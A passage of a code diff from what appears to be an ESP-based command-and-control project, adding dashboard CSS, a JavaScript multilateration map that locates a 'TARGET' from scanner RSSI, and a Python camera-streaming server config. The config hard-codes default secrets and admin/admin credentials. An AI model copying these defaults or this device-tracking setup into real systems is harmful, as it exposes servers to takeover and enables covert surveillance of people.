right: 0;
height: 1px;
background: var(--gradient-primary);
opacity: 0.5;
z-index: 10;
}
.mlat-view {
display: none;
height: 500px;
}
.mlat-view.active {
display: block;
}
/* Leaflet Map */
#leaflet-map {
width: 100%;
height: 100%;
background: var(--bg-tertiary);
}
/* Leaflet Dark Theme Override */
.leaflet-container {
background: var(--bg-tertiary);
font-family: inherit;
}
.leaflet-popup-content-wrapper {
background: var(--bg-secondary);
color: var(--text-primary);
border: 1px solid var(--border-color);
border-radius: 8px;
}
.leaflet-popup-tip {
background: var(--bg-secondary);
}
.leaflet-control-zoom {
border: 1px solid var(--border-color) !important;
}
.leaflet-control-zoom a {
background: var(--bg-secondary) !important;
color: var(--text-primary) !important;
border-bottom-color: var(--border-color) !important;
}
.leaflet-control-zoom a:hover {
background: var(--bg-elevated) !important;
}
.leaflet-control-attribution {
background: var(--bg-secondary) !important;
color: var(--text-muted) !important;
font-size: 10px;
}
.leaflet-control-attribution a {
color: var(--accent-secondary) !important;
}
/* Plan View */
#plan-view {
display: flex;
flex-direction: column;
}
.plan-controls {
display: flex;
align-items: center;
gap: 8px;
padding: 12px 16px;
background: var(--bg-elevated);
border-bottom: 1px solid var(--border-color);
}
.control-divider {
width: 1px;
height: 24px;
background: var(--border-color);
margin: 0 4px;
}
.toggle-btn {
opacity: 0.5;
transition: opacity 0.2s ease;
}
.toggle-btn.active {
opacity: 1;
background: var(--accent-primary-bg);
color: var(--accent-primary);
}
.control-label {
font-size: 11px;
font-weight: 500;
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: 0.5px;
}
.zoom-level,
.size-display {
font-size: 11px;
font-weight: 600;
color: var(--text-secondary);
min-width: 55px;
text-align: center;
padding: 4px 8px;
background: var(--bg-tertiary);
border-radius: 4px;
border: 1px solid var(--border-color);
}
.plan-canvas-wrapper {
flex: 1;
padding: 16px;
overflow: hidden;
}
#plan-canvas {
width: 100%;
height: 100%;
background: var(--bg-tertiary);
border-radius: 8px;
cursor: grab;
}
#plan-canvas:active {
cursor: grabbing;
}
/* Sidebar */
.mlat-sidebar {
display: flex;
flex-direction: column;
gap: 16px;
}
.mlat-panel {
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 12px;
padding: 16px;
}
.mlat-panel h3 {
font-size: 12px;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 1px;
margin-bottom: 14px;
color: var(--text-secondary);
}
.mlat-stat {
display: flex;
justify-content: space-between;
font-size: 13px;
padding: 8px 0;
border-bottom: 1px solid var(--border-color);
}
.mlat-stat:last-child {
border-bottom: none;
}
.mlat-stat .label {
color: var(--text-muted);
}
.mlat-stat .value {
color: var(--accent-primary);
font-family: 'JetBrains Mono', monospace;
font-weight: 500;
}
.scanner-list {
display: flex;
flex-direction: column;
gap: 8px;
max-height: 200px;
overflow-y: auto;
}
.scanner-list .empty {
padding: 20px;
text-align: center;
color: var(--text-muted);
font-size: 13px;
}
.scanner-item {
background: var(--bg-elevated);
padding: 10px 12px;
border-radius: 8px;
font-size: 12px;
border: 1px solid transparent;
transition: all 0.2s ease;
}
.scanner-item:hover {
border-color: var(--border-light);
}
.scanner-item .scanner-id {
font-weight: 600;
color: var(--accent-secondary);
}
.scanner-item .scanner-details {
color: var(--text-muted);
margin-top: 4px;
font-family: 'JetBrains Mono', monospace;
font-size: 11px;
}
/* Button Group */
.btn-group {
display: flex;
gap: 8px;
margin-top: 12px;
}
.btn-sm {
padding: 6px 12px;
font-size: 12px;
}
/* Custom Leaflet Markers */
.scanner-marker {
background: var(--accent-secondary);
border: 2px solid #fff;
border-radius: 50%;
width: 16px !important;
height: 16px !important;
margin-left: -8px !important;
margin-top: -8px !important;
box-shadow: 0 2px 8px rgba(0,0,0,0.3);
}
.target-marker {
width: 24px !important;
height: 24px !important;
margin-left: -12px !important;
margin-top: -12px !important;
}
.target-marker svg {
filter: drop-shadow(0 2px 4px rgba(0,0,0,0.4));
}
/* Range Circle */
.range-circle {
fill: rgba(129, 140, 248, 0.1);
stroke: rgba(129, 140, 248, 0.4);
stroke-width: 2;
}
/* ========== Config Panel ========== */
.config-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 10px 0;
border-bottom: 1px solid var(--border-color);
}
.config-row:last-child {
border-bottom: none;
}
.config-row label {
font-size: 13px;
color: var(--text-secondary);
}
.config-row input {
width: 80px;
padding: 6px 10px;
background: var(--bg-elevated);
border: 1px solid var(--border-color);
border-radius: 6px;
color: var(--text-primary);
font-size: 13px;
font-family: 'JetBrains Mono', monospace;
text-align: right;
transition: all 0.2s ease;
}
.config-row input:focus {
outline: none;
border-color: var(--accent-primary);
box-shadow: 0 0 0 3px var(--accent-primary-bg);
}
/* ========== Buttons ========== */
.btn {
padding: 10px 18px;
border-radius: 8px;
font-size: 13px;
font-weight: 600;
cursor: pointer;
border: none;
transition: all 0.2s ease;
}
.btn-primary {
background: var(--gradient-primary);
color: #fff;
box-shadow: 0 2px 10px var(--accent-primary-bg);
}
.btn-primary:hover {
transform: translateY(-1px);
box-shadow: 0 4px 15px var(--accent-primary-glow);
}
.btn-secondary {
background: var(--btn-secondary);
border: 1px solid var(--border-color);
color: var(--text-primary);
}
.btn-secondary:hover {
background: var(--btn-secondary-hover);
border-color: var(--border-light);
}
/* ========== Login Page ========== */
.login-container {
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
background: var(--bg-primary);
position: relative;
}
.login-container::before {
content: '';
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
width: 600px;
height: 600px;
background: var(--gradient-glow);
pointer-events: none;
}
.login-box {
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 16px;
padding: 40px;
width: 100%;
max-width: 380px;
position: relative;
backdrop-filter: blur(10px);
}
.login-box .logo {
text-align: center;
margin-bottom: 32px;
font-size: 24px;
}
.error {
background: var(--status-error-bg);
border: 1px solid var(--status-error);
color: var(--status-error);
padding: 12px 14px;
border-radius: 8px;
margin-bottom: 20px;
font-size: 13px;
}
.form-group {
margin-bottom: 20px;
}
.form-group label {
display: block;
font-size: 13px;
font-weight: 500;
margin-bottom: 8px;
color: var(--text-secondary);
}
.form-group input {
width: 100%;
padding: 12px 14px;
background: var(--bg-elevated);
border: 1px solid var(--border-color);
border-radius: 8px;
color: var(--text-primary);
font-size: 14px;
transition: all 0.2s ease;
}
.form-group input:focus {
outline: none;
border-color: var(--accent-primary);
box-shadow: 0 0 0 3px var(--accent-primary-bg);
}
.form-group input::placeholder {
color: var(--text-muted);
}
.btn-login {
width: 100%;
padding: 14px 20px;
background: var(--gradient-primary);
border: none;
border-radius: 8px;
color: #fff;
font-size: 14px;
font-weight: 600;
cursor: pointer;
transition: all 0.2s ease;
box-shadow: 0 2px 10px var(--accent-primary-bg);
}
.btn-login:hover {
transform: translateY(-1px);
box-shadow: 0 4px 20px var(--accent-primary-glow);
}
/* ========== Scrollbar ========== */
::-webkit-scrollbar {
width: 8px;
height: 8px;
}
::-webkit-scrollbar-track {
background: var(--bg-primary);
}
::-webkit-scrollbar-thumb {
background: var(--border-color);
border-radius: 4px;
}
::-webkit-scrollbar-thumb:hover {
background: var(--border-light);
}
/* ========== Selection ========== */
::selection {
background: var(--accent-primary-bg);
color: var(--accent-primary);
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

830
tools/c2/static/js/mlat.js Normal file
View File

@ -0,0 +1,830 @@
/**
* MLAT (Multilateration) Visualization for ESPILON C2
* Supports Map view (Leaflet/OSM) and Plan view (Canvas)
* Supports both GPS (lat/lon) and Local (x/y in meters) coordinates
*/
// ============================================================
// State
// ============================================================
let currentView = 'map';
let coordMode = 'gps'; // 'gps' or 'local'
let map = null;
let planCanvas = null;
let planCtx = null;
let planImage = null;
// Plan settings for local coordinate mode
let planSettings = {
width: 50, // meters
height: 30, // meters
originX: 0, // meters offset
originY: 0 // meters offset
};
// Plan display options
let showGrid = true;
let showLabels = true;
let planZoom = 1.0; // 1.0 = 100%
let panOffset = { x: 0, y: 0 }; // Pan offset in pixels
let isPanning = false;
let lastPanPos = { x: 0, y: 0 };
// Markers
let scannerMarkers = {};
let targetMarker = null;
let rangeCircles = {};
// Data
let scanners = [];
let target = null;
// ============================================================
// Map View (Leaflet) - GPS Mode
// ============================================================
function initMap() {
if (map) return;
const centerLat = parseFloat(document.getElementById('map-center-lat').value) || 48.8566;
const centerLon = parseFloat(document.getElementById('map-center-lon').value) || 2.3522;
const zoom = parseInt(document.getElementById('map-zoom').value) || 18;
map = L.map('leaflet-map', {
center: [centerLat, centerLon],
zoom: zoom,
zoomControl: true
});
// Dark tile layer (CartoDB Dark Matter)
L.tileLayer('https://{s}.basemaps.cartocdn.com/dark_all/{z}/{x}/{y}{r}.png', {
attribution: '&copy; <a href="https://carto.com/">CARTO</a>',
subdomains: 'abcd',
maxZoom: 20
}).addTo(map);
}
function createScannerIcon() {
return L.divIcon({
className: 'scanner-marker',
iconSize: [16, 16],
iconAnchor: [8, 8]
});
}
function createTargetIcon() {
return L.divIcon({
className: 'target-marker',
html: `<svg width="24" height="24" viewBox="0 0 24 24" fill="none">
<circle cx="12" cy="12" r="10" fill="#f87171" fill-opacity="0.3"/>
<circle cx="12" cy="12" r="6" fill="#f87171"/>
<circle cx="12" cy="12" r="3" fill="#fff"/>
</svg>`,
iconSize: [24, 24],
iconAnchor: [12, 12]
});
}
function updateMapMarkers() {
if (!map) return;
// Only show GPS mode scanners on map
const gpsFilteredScanners = scanners.filter(s => s.position && s.position.lat !== undefined);
const currentIds = new Set(gpsFilteredScanners.map(s => s.id));
// Remove old markers
for (const id in scannerMarkers) {
if (!currentIds.has(id)) {
map.removeLayer(scannerMarkers[id]);
delete scannerMarkers[id];
if (rangeCircles[id]) {
map.removeLayer(rangeCircles[id]);
delete rangeCircles[id];
}
}
}
// Update/add scanner markers
for (const scanner of gpsFilteredScanners) {
const pos = scanner.position;
if (scannerMarkers[scanner.id]) {
scannerMarkers[scanner.id].setLatLng([pos.lat, pos.lon]);
} else {
scannerMarkers[scanner.id] = L.marker([pos.lat, pos.lon], {
icon: createScannerIcon()
}).addTo(map);
scannerMarkers[scanner.id].bindPopup(`
<strong>${scanner.id}</strong><br>
RSSI: ${scanner.last_rssi || '-'} dBm<br>
Distance: ${scanner.estimated_distance || '-'} m
`);
}
// Update popup content
scannerMarkers[scanner.id].setPopupContent(`
<strong>${scanner.id}</strong><br>
RSSI: ${scanner.last_rssi || '-'} dBm<br>
Distance: ${scanner.estimated_distance || '-'} m
`);
// Update range circle
if (scanner.estimated_distance) {
if (rangeCircles[scanner.id]) {
rangeCircles[scanner.id].setLatLng([pos.lat, pos.lon]);
rangeCircles[scanner.id].setRadius(scanner.estimated_distance);
} else {
rangeCircles[scanner.id] = L.circle([pos.lat, pos.lon], {
radius: scanner.estimated_distance,
color: 'rgba(129, 140, 248, 0.4)',
fillColor: 'rgba(129, 140, 248, 0.1)',
fillOpacity: 0.3,
weight: 2
}).addTo(map);
}
}
}
// Update target marker (GPS only)
if (target && target.lat !== undefined) {
if (targetMarker) {
targetMarker.setLatLng([target.lat, target.lon]);
} else {
targetMarker = L.marker([target.lat, target.lon], {
icon: createTargetIcon()
}).addTo(map);
}
} else if (targetMarker) {
map.removeLayer(targetMarker);
targetMarker = null;
}
}
function centerMap() {
if (!map) return;
const lat = parseFloat(document.getElementById('map-center-lat').value);
const lon = parseFloat(document.getElementById('map-center-lon').value);
const zoom = parseInt(document.getElementById('map-zoom').value);
map.setView([lat, lon], zoom);
}
function fitMapToBounds() {
if (!map || scanners.length === 0) return;
const points = scanners
.filter(s => s.position && s.position.lat !== undefined)
.map(s => [s.position.lat, s.position.lon]);
if (target && target.lat !== undefined) {
points.push([target.lat, target.lon]);
}
if (points.length > 0) {
map.fitBounds(points, { padding: [50, 50] });
}
}
// ============================================================
// Plan View (Canvas) - Supports both GPS and Local coords
// ============================================================
function initPlanCanvas() {
planCanvas = document.getElementById('plan-canvas');
if (!planCanvas) return;
planCtx = planCanvas.getContext('2d');
resizePlanCanvas();
setupPlanPanning();
window.addEventListener('resize', resizePlanCanvas);
}
function resizePlanCanvas() {
if (!planCanvas) return;
const wrapper = planCanvas.parentElement;
planCanvas.width = wrapper.clientWidth - 32;
planCanvas.height = wrapper.clientHeight - 32;
drawPlan();
}
function drawPlan() {
if (!planCtx) return;
const ctx = planCtx;
const w = planCanvas.width;
const h = planCanvas.height;
// Clear (before transform)
ctx.setTransform(1, 0, 0, 1, 0, 0);
ctx.fillStyle = '#06060a';
ctx.fillRect(0, 0, w, h);
// Apply zoom and pan transform
const centerX = w / 2;
const centerY = h / 2;
ctx.setTransform(planZoom, 0, 0, planZoom,
centerX - centerX * planZoom + panOffset.x,
centerY - centerY * planZoom + panOffset.y);
// Draw plan image if loaded
if (planImage) {
ctx.drawImage(planImage, 0, 0, w, h);
}
// Draw grid (always when enabled, on top of image)
if (showGrid) {
drawGrid(ctx, w, h, !!planImage);
}
// Draw range circles
for (const scanner of scanners) {
if (scanner.estimated_distance) {
drawPlanRangeCircle(ctx, scanner);
}
}
// Draw scanners
for (const scanner of scanners) {
drawPlanScanner(ctx, scanner);
}
// Draw target
if (target) {
drawPlanTarget(ctx);
}
// Reset transform for any UI overlay
ctx.setTransform(1, 0, 0, 1, 0, 0);
}
function drawGrid(ctx, w, h, hasImage = false) {
// More visible grid when over image
ctx.strokeStyle = hasImage ? 'rgba(129, 140, 248, 0.4)' : '#21262d';
ctx.lineWidth = hasImage ? 1.5 : 1;
ctx.font = '10px monospace';
ctx.fillStyle = hasImage ? 'rgba(200, 200, 200, 0.9)' : '#484f58';
if (coordMode === 'local') {
// Draw grid based on plan size in meters
const metersPerPixelX = planSettings.width / w;
const metersPerPixelY = planSettings.height / h;
// Grid every 5 meters
const gridMeters = 5;
const gridPixelsX = gridMeters / metersPerPixelX;
const gridPixelsY = gridMeters / metersPerPixelY;
// Vertical lines
for (let x = gridPixelsX; x < w; x += gridPixelsX) {
ctx.beginPath();
ctx.moveTo(x, 0);
ctx.lineTo(x, h);
ctx.stroke();
// Label
if (showLabels) {
const meters = (x * metersPerPixelX + planSettings.originX).toFixed(0);
if (hasImage) {
// Background for readability
ctx.fillStyle = 'rgba(0, 0, 0, 0.6)';
ctx.fillRect(x + 1, 2, 25, 12);
ctx.fillStyle = 'rgba(200, 200, 200, 0.9)';
}
ctx.fillText(`${meters}m`, x + 2, 12);
}
}
// Horizontal lines
for (let y = gridPixelsY; y < h; y += gridPixelsY) {
ctx.beginPath();
ctx.moveTo(0, y);
ctx.lineTo(w, y);
ctx.stroke();
// Label
if (showLabels) {
const meters = (planSettings.height - y * metersPerPixelY + planSettings.originY).toFixed(0);
if (hasImage) {
ctx.fillStyle = 'rgba(0, 0, 0, 0.6)';
ctx.fillRect(1, y - 13, 25, 12);
ctx.fillStyle = 'rgba(200, 200, 200, 0.9)';
}
ctx.fillText(`${meters}m`, 2, y - 2);
}
}
// Size label
if (showLabels) {
ctx.fillStyle = hasImage ? 'rgba(129, 140, 248, 0.9)' : '#818cf8';
if (hasImage) {
ctx.fillStyle = 'rgba(0, 0, 0, 0.6)';
ctx.fillRect(w - 65, h - 16, 62, 14);
ctx.fillStyle = 'rgba(129, 140, 248, 0.9)';
}
ctx.fillText(`${planSettings.width}x${planSettings.height}m`, w - 60, h - 5);
}
} else {
// Simple grid for GPS mode
const gridSize = 50;
for (let x = gridSize; x < w; x += gridSize) {
ctx.beginPath();
ctx.moveTo(x, 0);
ctx.lineTo(x, h);
ctx.stroke();
}
for (let y = gridSize; y < h; y += gridSize) {
ctx.beginPath();
ctx.moveTo(0, y);
ctx.lineTo(w, y);
ctx.stroke();
}
}
}
function toggleGrid() {
showGrid = !showGrid;
document.getElementById('grid-toggle').classList.toggle('active', showGrid);
drawPlan();
}
function toggleLabels() {
showLabels = !showLabels;
document.getElementById('labels-toggle').classList.toggle('active', showLabels);
drawPlan();
}
function zoomPlan(direction) {
const zoomStep = 0.25;
const minZoom = 0.25;
const maxZoom = 4.0;
if (direction > 0) {
planZoom = Math.min(maxZoom, planZoom + zoomStep);
} else {
planZoom = Math.max(minZoom, planZoom - zoomStep);
}
updateZoomDisplay();
drawPlan();
}
function resetZoom() {
planZoom = 1.0;
panOffset = { x: 0, y: 0 };
updateZoomDisplay();
drawPlan();
}
function updateZoomDisplay() {
const el = document.getElementById('zoom-level');
if (el) {
el.textContent = Math.round(planZoom * 100) + '%';
}
}
function setupPlanPanning() {
if (!planCanvas) return;
// Mouse wheel zoom
planCanvas.addEventListener('wheel', (e) => {
e.preventDefault();
const direction = e.deltaY < 0 ? 1 : -1;
zoomPlan(direction);
}, { passive: false });
// Pan with mouse drag
planCanvas.addEventListener('mousedown', (e) => {
if (e.button === 0) { // Left click
isPanning = true;
lastPanPos = { x: e.clientX, y: e.clientY };
planCanvas.style.cursor = 'grabbing';
}
});
planCanvas.addEventListener('mousemove', (e) => {
if (isPanning) {
const dx = e.clientX - lastPanPos.x;
const dy = e.clientY - lastPanPos.y;
panOffset.x += dx;
panOffset.y += dy;
lastPanPos = { x: e.clientX, y: e.clientY };
drawPlan();
}
});
planCanvas.addEventListener('mouseup', () => {
isPanning = false;
planCanvas.style.cursor = 'grab';
});
planCanvas.addEventListener('mouseleave', () => {
isPanning = false;
planCanvas.style.cursor = 'grab';
});
planCanvas.style.cursor = 'grab';
}
function worldToCanvas(pos) {
const w = planCanvas.width;
const h = planCanvas.height;
if (coordMode === 'local' || (pos.x !== undefined && pos.lat === undefined)) {
// Local coordinates (x, y in meters)
const x = pos.x !== undefined ? pos.x : 0;
const y = pos.y !== undefined ? pos.y : 0;
const canvasX = ((x - planSettings.originX) / planSettings.width) * w;
const canvasY = h - ((y - planSettings.originY) / planSettings.height) * h;
return {
x: Math.max(0, Math.min(w, canvasX)),
y: Math.max(0, Math.min(h, canvasY))
};
} else {
// GPS coordinates (lat, lon)
const centerLat = parseFloat(document.getElementById('map-center-lat').value) || 48.8566;
const centerLon = parseFloat(document.getElementById('map-center-lon').value) || 2.3522;
const range = 0.002; // ~200m
const canvasX = ((pos.lon - centerLon + range) / (2 * range)) * w;
const canvasY = ((centerLat + range - pos.lat) / (2 * range)) * h;
return {
x: Math.max(0, Math.min(w, canvasX)),
y: Math.max(0, Math.min(h, canvasY))
};
}
}
function distanceToPixels(distance) {
if (coordMode === 'local') {
// Direct conversion: distance in meters to pixels
const pixelsPerMeter = planCanvas.width / planSettings.width;
return distance * pixelsPerMeter;
} else {
// GPS mode: approximate conversion
const range = 0.002; // degrees
const rangeMeters = range * 111000; // ~222m
const pixelsPerMeter = planCanvas.width / rangeMeters;
return distance * pixelsPerMeter;
}
}
function drawPlanRangeCircle(ctx, scanner) {
const pos = scanner.position;
if (!pos) return;
// Check if position is valid for current mode
if (coordMode === 'local' && pos.x === undefined && pos.lat !== undefined) return;
if (coordMode === 'gps' && pos.lat === undefined && pos.x !== undefined) return;
const canvasPos = worldToCanvas(pos);
const radius = distanceToPixels(scanner.estimated_distance);
ctx.beginPath();
ctx.arc(canvasPos.x, canvasPos.y, radius, 0, Math.PI * 2);
ctx.strokeStyle = 'rgba(129, 140, 248, 0.3)';
ctx.lineWidth = 2;
ctx.stroke();
}
function drawPlanScanner(ctx, scanner) {
const pos = scanner.position;
if (!pos) return;
// Check if position is valid
const hasGPS = pos.lat !== undefined;
const hasLocal = pos.x !== undefined;
if (!hasGPS && !hasLocal) return;
const canvasPos = worldToCanvas(pos);
// Dot
ctx.beginPath();
ctx.arc(canvasPos.x, canvasPos.y, 8, 0, Math.PI * 2);
ctx.fillStyle = '#818cf8';
ctx.fill();
// Label
ctx.font = '12px monospace';
ctx.fillStyle = '#c9d1d9';
ctx.textAlign = 'center';
ctx.fillText(scanner.id, canvasPos.x, canvasPos.y - 15);
// RSSI
if (scanner.last_rssi !== null) {
ctx.font = '10px monospace';
ctx.fillStyle = '#484f58';
ctx.fillText(`${scanner.last_rssi} dBm`, canvasPos.x, canvasPos.y + 20);
}
ctx.textAlign = 'left';
}
function drawPlanTarget(ctx) {
if (!target) return;
const hasGPS = target.lat !== undefined;
const hasLocal = target.x !== undefined;
if (!hasGPS && !hasLocal) return;
const canvasPos = worldToCanvas(target);
// Glow
ctx.beginPath();
ctx.arc(canvasPos.x, canvasPos.y, 20, 0, Math.PI * 2);
ctx.fillStyle = 'rgba(248, 113, 113, 0.3)';
ctx.fill();
// Cross
ctx.strokeStyle = '#f87171';
ctx.lineWidth = 3;
ctx.beginPath();
ctx.moveTo(canvasPos.x - 12, canvasPos.y - 12);
ctx.lineTo(canvasPos.x + 12, canvasPos.y + 12);
ctx.stroke();
ctx.beginPath();
ctx.moveTo(canvasPos.x + 12, canvasPos.y - 12);
ctx.lineTo(canvasPos.x - 12, canvasPos.y + 12);
ctx.stroke();
// Label
ctx.font = 'bold 12px monospace';
ctx.fillStyle = '#f87171';
ctx.textAlign = 'center';
ctx.fillText('TARGET', canvasPos.x, canvasPos.y - 25);
ctx.textAlign = 'left';
}
// ============================================================
// Plan Image Upload & Calibration
// ============================================================
function uploadPlanImage(input) {
const file = input.files[0];
if (!file) return;
const reader = new FileReader();
reader.onload = function(e) {
planImage = new Image();
planImage.onload = function() {
document.getElementById('calibrate-btn').disabled = false;
drawPlan();
};
planImage.src = e.target.result;
};
reader.readAsDataURL(file);
}
function calibratePlan() {
alert('Calibration: Set the plan dimensions in Plan Settings panel.\n\nThe grid will map x,y meters to your uploaded image.');
drawPlan();
}
function clearPlan() {
planImage = null;
document.getElementById('calibrate-btn').disabled = true;
drawPlan();
}
function applyPlanSettings() {
planSettings.width = parseFloat(document.getElementById('plan-width').value) || 50;
planSettings.height = parseFloat(document.getElementById('plan-height').value) || 30;
planSettings.originX = parseFloat(document.getElementById('plan-origin-x').value) || 0;
planSettings.originY = parseFloat(document.getElementById('plan-origin-y').value) || 0;
updateSizeDisplay();
drawPlan();
}
function adjustPlanSize(delta) {
// Adjust both width and height proportionally
const minSize = 10;
const maxSize = 500;
planSettings.width = Math.max(minSize, Math.min(maxSize, planSettings.width + delta));
planSettings.height = Math.max(minSize, Math.min(maxSize, planSettings.height + Math.round(delta * 0.6)));
// Update input fields in sidebar
document.getElementById('plan-width').value = planSettings.width;
document.getElementById('plan-height').value = planSettings.height;
updateSizeDisplay();
drawPlan();
}
function updateSizeDisplay() {
const el = document.getElementById('size-display');
if (el) {
el.textContent = `${planSettings.width}x${planSettings.height}m`;
}
}
// ============================================================
// View Switching
// ============================================================
function switchView(view) {
currentView = view;
// Update buttons
document.querySelectorAll('.view-btn').forEach(btn => {
btn.classList.toggle('active', btn.dataset.view === view);
});
// Update views
document.getElementById('map-view').classList.toggle('active', view === 'map');
document.getElementById('plan-view').classList.toggle('active', view === 'plan');
// Show/hide settings panels based on view
document.getElementById('map-settings').style.display = view === 'map' ? 'block' : 'none';
document.getElementById('plan-settings').style.display = view === 'plan' ? 'block' : 'none';
// Initialize view if needed
if (view === 'map') {
setTimeout(() => {
if (!map) initMap();
else map.invalidateSize();
updateMapMarkers();
}, 100);
} else {
if (!planCanvas) initPlanCanvas();
else resizePlanCanvas();
}
}
// ============================================================
// UI Updates
// ============================================================
function updateCoordMode(mode) {
coordMode = mode;
const modeDisplay = document.getElementById('coord-mode');
const coord1Label = document.getElementById('target-coord1-label');
const coord2Label = document.getElementById('target-coord2-label');
if (mode === 'gps') {
modeDisplay.textContent = 'GPS';
coord1Label.textContent = 'Latitude';
coord2Label.textContent = 'Longitude';
} else {
modeDisplay.textContent = 'Local';
coord1Label.textContent = 'X (m)';
coord2Label.textContent = 'Y (m)';
}
}
function updateTargetInfo(targetData) {
const coord1El = document.getElementById('target-coord1');
const coord2El = document.getElementById('target-coord2');
if (targetData && targetData.position) {
const pos = targetData.position;
if (pos.lat !== undefined) {
coord1El.textContent = pos.lat.toFixed(6);
coord2El.textContent = pos.lon.toFixed(6);
} else if (pos.x !== undefined) {
coord1El.textContent = pos.x.toFixed(2) + ' m';
coord2El.textContent = pos.y.toFixed(2) + ' m';
} else {
coord1El.textContent = '-';
coord2El.textContent = '-';
}
document.getElementById('target-confidence').textContent = ((targetData.confidence || 0) * 100).toFixed(0) + '%';
document.getElementById('target-age').textContent = (targetData.age_seconds || 0).toFixed(1) + 's ago';
// Store for rendering
target = pos;
} else {
coord1El.textContent = '-';
coord2El.textContent = '-';
document.getElementById('target-confidence').textContent = '-';
document.getElementById('target-age').textContent = '-';
target = null;
}
}
function updateScannerList(scannersData) {
scanners = scannersData || [];
const list = document.getElementById('scanner-list');
document.getElementById('scanner-count').textContent = scanners.length;
if (scanners.length === 0) {
list.innerHTML = '<div class="empty">No scanners active</div>';
return;
}
list.innerHTML = scanners.map(s => {
const pos = s.position || {};
let posStr;
if (pos.lat !== undefined) {
posStr = `(${pos.lat.toFixed(4)}, ${pos.lon.toFixed(4)})`;
} else if (pos.x !== undefined) {
posStr = `(${pos.x.toFixed(1)}m, ${pos.y.toFixed(1)}m)`;
} else {
posStr = '(-, -)';
}
return `
<div class="scanner-item">
<div class="scanner-id">${s.id}</div>
<div class="scanner-details">
Pos: ${posStr} |
RSSI: ${s.last_rssi !== null ? s.last_rssi + ' dBm' : '-'} |
Dist: ${s.estimated_distance !== null ? s.estimated_distance + 'm' : '-'}
</div>
</div>
`;
}).join('');
}
function updateConfig(config) {
if (!config) return;
document.getElementById('config-rssi').value = config.rssi_at_1m || -40;
document.getElementById('config-n').value = config.path_loss_n || 2.5;
document.getElementById('config-smooth').value = config.smoothing_window || 5;
}
// ============================================================
// API Functions
// ============================================================
async function fetchState() {
try {
const res = await fetch('/api/mlat/state');
const state = await res.json();
// Update coordinate mode from server
if (state.coord_mode) {
updateCoordMode(state.coord_mode);
}
updateTargetInfo(state.target);
updateScannerList(state.scanners);
if (state.config) {
updateConfig(state.config);
}
// Update visualization
if (currentView === 'map') {
updateMapMarkers();
} else {
drawPlan();
}
} catch (e) {
console.error('Failed to fetch MLAT state:', e);
}
}
async function saveConfig() {
const config = {
rssi_at_1m: parseFloat(document.getElementById('config-rssi').value),
path_loss_n: parseFloat(document.getElementById('config-n').value),
smoothing_window: parseInt(document.getElementById('config-smooth').value)
};
try {
await fetch('/api/mlat/config', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(config)
});
console.log('Config saved');
} catch (e) {
console.error('Failed to save config:', e);
}
}
async function clearData() {
try {
await fetch('/api/mlat/clear', { method: 'POST' });
fetchState();
} catch (e) {
console.error('Failed to clear data:', e);
}
}
// ============================================================
// Initialization
// ============================================================
document.addEventListener('DOMContentLoaded', () => {
// Initialize map view by default
initMap();
initPlanCanvas();
// Initialize displays
updateZoomDisplay();
updateSizeDisplay();
// Start polling
fetchState();
setInterval(fetchState, 2000);
});

View File

@ -0,0 +1,3 @@
from .server import CameraServer
__all__ = ["CameraServer"]

View File

@ -0,0 +1,65 @@
"""Configuration loader for camera server module - reads from .env file."""
import os
from pathlib import Path
from dotenv import load_dotenv
# Load .env file from c2 root directory
C2_ROOT = Path(__file__).parent.parent
ENV_FILE = C2_ROOT / ".env"
if ENV_FILE.exists():
load_dotenv(ENV_FILE)
else:
# Try .env.example as fallback for development
example_env = C2_ROOT / ".env.example"
if example_env.exists():
load_dotenv(example_env)
def _get_bool(key: str, default: bool = False) -> bool:
"""Get boolean value from environment."""
val = os.getenv(key, str(default)).lower()
return val in ("true", "1", "yes", "on")
def _get_int(key: str, default: int) -> int:
"""Get integer value from environment."""
try:
return int(os.getenv(key, default))
except ValueError:
return default
# C2 Server
C2_HOST = os.getenv("C2_HOST", "0.0.0.0")
C2_PORT = _get_int("C2_PORT", 2626)
# UDP Server configuration
UDP_HOST = os.getenv("UDP_HOST", "0.0.0.0")
UDP_PORT = _get_int("UDP_PORT", 5000)
UDP_BUFFER_SIZE = _get_int("UDP_BUFFER_SIZE", 65535)
# Flask Web Server configuration
WEB_HOST = os.getenv("WEB_HOST", "0.0.0.0")
WEB_PORT = _get_int("WEB_PORT", 8000)
# Security
SECRET_TOKEN = os.getenv("CAMERA_SECRET_TOKEN", "Sup3rS3cretT0k3n").encode()
FLASK_SECRET_KEY = os.getenv("FLASK_SECRET_KEY", "change_this_for_prod")
# Credentials
DEFAULT_USERNAME = os.getenv("WEB_USERNAME", "admin")
DEFAULT_PASSWORD = os.getenv("WEB_PASSWORD", "admin")
# Storage paths
IMAGE_DIR = os.getenv("IMAGE_DIR", "static/streams")
# Video recording
VIDEO_ENABLED = _get_bool("VIDEO_ENABLED", True)
VIDEO_PATH = os.getenv("VIDEO_PATH", "static/streams/record.avi")
VIDEO_FPS = _get_int("VIDEO_FPS", 10)
VIDEO_CODEC = os.getenv("VIDEO_CODEC", "MJPG")
# Multilateration
MULTILAT_AUTH_TOKEN = os.getenv("MULTILAT_AUTH_TOKEN", "multilat_secret_token")

134
tools/c2/streams/server.py Normal file
View File

@ -0,0 +1,134 @@
"""Main camera server combining UDP receiver and unified web server."""
from typing import Optional, Callable
from .config import (
UDP_HOST, UDP_PORT, WEB_HOST, WEB_PORT, IMAGE_DIR,
DEFAULT_USERNAME, DEFAULT_PASSWORD, FLASK_SECRET_KEY, MULTILAT_AUTH_TOKEN
)
from .udp_receiver import UDPReceiver
from web.server import UnifiedWebServer
from web.mlat import MlatEngine
class CameraServer:
"""
Combined camera server that manages both:
- UDP receiver for incoming camera frames from ESP devices
- Unified web server for dashboard, cameras, and trilateration
"""
def __init__(self,
udp_host: str = UDP_HOST,
udp_port: int = UDP_PORT,
web_host: str = WEB_HOST,
web_port: int = WEB_PORT,
image_dir: str = IMAGE_DIR,
username: str = DEFAULT_USERNAME,
password: str = DEFAULT_PASSWORD,
device_registry=None,
on_frame: Optional[Callable] = None):
"""
Initialize the camera server.
